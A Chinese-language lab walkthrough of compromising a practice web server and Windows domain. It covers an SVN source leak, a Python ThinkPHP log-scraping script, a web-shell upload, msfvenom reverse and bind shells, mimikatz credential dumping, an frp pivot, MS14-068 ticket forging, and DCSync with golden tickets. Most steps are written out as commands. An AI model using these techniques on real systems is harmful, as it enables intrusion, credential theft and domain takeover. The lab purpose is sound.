赞
踩
1.1拓补图
1.2发现主机
arp-scan -l
可以发现目标ip为192.168.31.138,nmap扫描端口,接下来绑定hosts域名,访问目标网站。
nmap -p- -sC -sV -O 192.168.31.138 -oA ip_port
注:-p为指定端口,可以先用masscan扫描开发端口,再用nmap。
绑定hosts,目标域名是www.webhack123.com
vim /etc/hosts
直接按照图中添加就可以了。
1.3网站目录扫描
打开网站发现没有什么信息直接上gobuster扫描目录。
gobuster dir -u http://www.webhack123.com/ -w /usr/share/wordlists/dirb/big.txt
发现了svn目录,猜测是svn信息泄露,可以获取网站源码。直接去github找相关的利用工具-传送门
直接下载全部源码,其中,在一个数据库文件中发现存在账户密码,Cmd5解密得到密码是123456。
另外,像“ wc.db ”这种数据库文件我们是可以打开的。比如navcat。
发现一些路径信息,有thinkphp的日志文件。可以去我们svn下载的文件那看看。
也可以直接拼接路径,在浏览器打开。
其实大部分thinkphp网站的日志记录都是打开的,
且有一定的规律,我们可以写一个脚本进行利用。
1.4编写thinkphp3日志泄露工具
import requests import sys def addurls(year): url = "http://www.webhack123.com/App/Runtime/Logs" #记得修改这个网址 urls=[] for month in range(1,13): #遍历月 for day in range(1,32): #遍历日 if month < 10: if day < 10: urls.append(url+"/%s_0%s_0%s.log"%(year,month,day)) else: urls.append(url+"/%s_0%s_%s.log"%(year,month,day)) else: if day < 10: urls.append(url+"/%s_%s_0%s.log"%(year,month,day)) else: urls.append(url+"/%s_%s_%s.log"%(year,month,day)) return urls #print(addurls(20)) year = sys.argv[1] #传入年 #print(year) urls = addurls(year) for url in urls: r = requests.get(url) if r.status_code == 200: print(url) #将存在的日志的链接打印出 with open("thinkphp3_log.txt","a",encoding='utf-8') as f: f.write(r.text) #将日志存入文件
使用方法
python3 think.py 20 #对应就是20年的日志
找到最后一个日志,拼接路径,浏览器打开,查找password,发现了密码
74c774ef39b5b977c1fd59dbfc73c3e380a65aa3,hash解密为web123.
后台密码就是 admin 和web123了。
1.5找到后台地址
目录扫描没有得到后台地址,一般有两种可能。即后台名字比较奇葩,字典没有。
另一个是,后台在域名里。
这里有个小技巧,有一些大的厂商,并不会把所有的子域名都进行备案的。
即他们仅仅通过少数员工通过绑定hosts使用,
这样的话。子域名扫描是根本扫描不出的。这个时候,我们就可以上一个脚本了。
我们可以稍微修改一下代码,我们就不需要https了,
只需要在ip.txt写我们的ip,host.txt填入域名 webhack123.com,domain.txt填入子域名字典,
可以看到已经找到后台地址了,admin.webhack123.com
本地绑定hosts进行访问,
输入admin web123进入后台,这里我密码输入错了一次,但是验证码还可以用,说明验证码不会立刻销毁,可以暴力破解。
首先我们先熟悉一些这些功能,找一个可以getshell的点。
这个位置发现可以修改上传文件类型,直接加入php,然后抓包修改文件,拼接图片连接getshell。
直接蚁剑连接了
好了,发现是administrator权限,开始内网收集。
1.判断在内网中的位置
ipconfig #看一下ip,如果一个内网一个外网就可以来作跳板机了
2.直接上线msf吧,等下还会演示用cs来渗透的,好了。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.138 lport=12345 -f exe > s.exe
用蚁剑上传,然后执行,msf这里启动监听,直接上线,如果这里不懂就不用看了~~
进入meterpreter,开始信息收集,首先添加路由。
meterpreter > run post/multi/manage/autoroute
meterpreter > run autoroute -p #查看路由情况
接下来进入shell吧
C:\Windows\system32>chcp 65001 #设置编码
C:\Windows\system32>net view
发现存在2个用户
找到了域,接下来我们找一下域控
域控大概率就是10.10.10.149了,真实环境不能用arp扫描,动静太大了。
命令小结
net view /domain 查看当前域名 net view /domain:域名 查看域内部所有计算机名 net group /domain 查看域内部所有用户组列表 net group "domain computers" /domain 查看所有域成员计算机列表 net accounts /domain 查看域密码信息 nltest /domian_trusts 获取域信任信息 nltest /DCLIST:域名 查看域控制器机器名 net time /domain 查看当前时间,因为时间服务器也是主域服务器,可以看到域服务器的机器名 net group "Domain Controllers" /domain 查看域控制器组,因为可能有不止一台域控,有主备之分 net user /domain 查询域内用户,会看到熟悉的krbtgt用户 wmic useraccount get /all 获取域内用户详细信息 dsquery user 查看域内存在的用户 net localgroup administrators 查看本地管理员用户组 net group "domain admins" /domain 查询域管理员用户
好的,信息收集完毕,接下来我们的搭建一个socks5,然后上线域控了。先搭建一下吧,既然是靶机那就多弄一下吧,练在难处,用在易处。
直接弄frp。
kali作为服务端
./frps -c frps.ini
上线主机作为客户端
上传frpc.exe 和frpc.ini ,可以用蚁剑上传,也可以用kali的msf上传。
直接执行
frpc.exe -c frpc.ini
kali服务端看到这个代表已经成功了。
root@kali:~# proxychains bash #代理全局终端就是不用在命令前面在输入proxychains
root@kali:~# nmap -p 445 -sT -Pn 10.10.10.149 #这里必须用tcp协议扫描。
可以扫描一下内网常见的端口,节省时间,看到445端口开启,打一下最简单的ms17永恒之蓝漏洞。
msf6 exploit(windows/smb/ms17_010_eternalblue) >
我这里设置了正向payload没有成功,可能是target的原因,因为是虚拟机,偏移量可以不同,就没打成功。
因为是进击dc,所以hash传递肯定是用不了了,属于是纵向深入。
不管了,先抓一下密码吧。
meterpreter > load kiwi
meterpreter > kiwi_cmd privilege::debug #提升权限
meterpreter > kiwi_cmd sekurlsa::logonPasswords #抓取密码
整理一下密码
WEB ; Administrator ; !@#Qwe456
使用命令“ run post/windows/gather/enum_logged_on_users ”来获取登录过靶机的机器。
这个命令,很有用,单独伶出来写。主要是对后续做票据很有用。
S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-1443003717-4130318662-4279967973-500 C:\Users\Administrator
S-1-5-21-2005268815-658469957-1189185684-1103 C:\Users\web
S-1-5-21-2005268815-658469957-1189185684-500 C:\Users\Administrator.HACKBOX
使用命令“ run post/windows/manage/enable_rdp ”开启目标远程登录。
可以远程登录一下,动静太大了。
啊这,登录不上,换个思路。
3.使用ms14-068提取到域控
这漏洞在14年就有了,后面的机器一般都会打补丁的,这个机器可以利用。
上传ms17-068.exe,可以用蚁剑,也可以用kali。
直接执行,可以看到帮助信息
看看脚本利用都需要什么条件。“ 脚本 用户 SID 域控IP 用户的密码”
MS14-068.exe -u web@hackbox.com S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456
可以在当前目录找到这个票据
来加载kiwi,导入票据。 “ load kiwi ”。
但是发现kiwi没有导入票据的功能,还是得将猕猴桃上传到目标服务器。
上传mimikatz.exe 到靶机,运行它
此时先访问一下,域控机器的C盘,是无法访问的,没有权限。
dir \\dc\c$
没有权限,运行mimikatz.exe,清理一下票据。
先清理一波票据“ kerberos::purge ”,在查看票据列表“ kerberos::list ”
使用命令“ kerberos::ptc TGT_web@hackbox.com.ccache ”进行导入。
导入成功,这时我们 dir \dc\c$看一下能不能查看域控的c盘
nice,成功了,接下来我们就可以操控域控了,思路是上传文件给域控,然后写定时任务,反弹shell。
接下来生成一个msf正向木马
msfvenom -p windows/meterpreter/bind_tcp lport=17777 -f exe >bind.exe
直接上传到dmz机器,也就是我们这个机器,然后通过刚刚mimikatz导入的票据,访问dc,
进入meterpreter的shell,
> copy bind \\dc\c$\
> dir \\dc\c$ #看一下有没有上传成功
> net time \\dc #看一下时间,然后准备写入计划任务
> at \\dc 10:05:00 c:/bind.exe
> at \\dc #看一下有没有写入成功
等一会,我们直接用msf连接,好了,连接成功。
这时我们已经获取到域控了,看一下权限,是system,直接迁移进入导入mimikatz,抓取密码,
获取密码,就可以制作黄金票据,一般用于权限维持,也可以开3389远程登录,不过动静应该挺大的
这里还是给出过程吧。“ run post/windows/manage/enable_rdp ”。
kali 直接执行proxychains rdesktop 10.10.10.149 就可以了。
制作黄金票据
考虑长期权维护,还是做一个黄金票据比较保险,先清理一下刚刚生成的票据。
此时会话是“ web ”服务器的,并不是域控的。要注意!!!
先加载kiwi,然后使用“ kerberos_ticket_purge ”来清理票据。
此时,应该开始制作票据了,开始准备一些制作票据的资料(ntml sid),先切换回域控会话。
第一种获取“ SID ”的方法,先进入shell环境,
执行“ wmic useraccount where name=“krbtgt” get sid ”命令。
这种方式是有缺陷的,即不能获取“ ntml ”。
我们接着来说第二种方法,需要“ 域管理员权限 ”,使用ps查看进程。
切换到任意一个进程,注意使用“ steal_token ”命令而非“ migrate ”。
使用“ dcsync_ntlm krbtgt ”命令来获取krbtgt 的资料,需要先load kiwi
生成黄金票据的公式:
golden_ticket_create -d 域名 -u 任意用户名 -s SID(没有-502) -k NTLM -t 保存位置。
golden_ticket_create -d hackbox.com -u asdzxc -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /tmp/krbtgt.ticket
刚刚我们使用域控会话成功制作了黄金票据,此时我们切换到web服务器会话。
将生成的黄金票据,先验证一下,此时能不能访问域控的c盘。显然不能,回到meterpreter,
直接清空票据并且导入。
注入成功,进入shell成功访问到域控。并且是域控会话。
cs渗透的我等会再写吧…
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。